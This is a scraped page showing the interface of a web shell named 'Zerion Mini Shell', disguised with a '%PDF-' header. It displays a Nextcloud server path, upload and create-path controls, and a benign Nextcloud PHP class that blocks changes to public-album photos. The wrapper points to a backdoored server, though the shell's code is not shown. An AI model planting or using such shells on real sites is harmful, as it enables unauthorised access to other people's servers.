%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps/photos/lib/Sabre/Album/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps/photos/lib/Sabre/Album/PublicAlbumPhoto.php

<?php

declare(strict_types=1);
/**
 * SPDX-FileCopyrightText: 2022 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */

namespace OCA\Photos\Sabre\Album;

use OCP\Files\NotFoundException;
use Sabre\DAV\IFile;

class PublicAlbumPhoto extends AlbumPhoto implements IFile {
	/** @return void */
	public function delete() {
		throw new NotFoundException("Deleting photos from a public album is not allowed.");
	}

	/** @return void */
	public function put($data) {
		throw new NotFoundException("Changing a photo from a public album is not allowed.");
	}
}

Zerion Mini Shell 1.0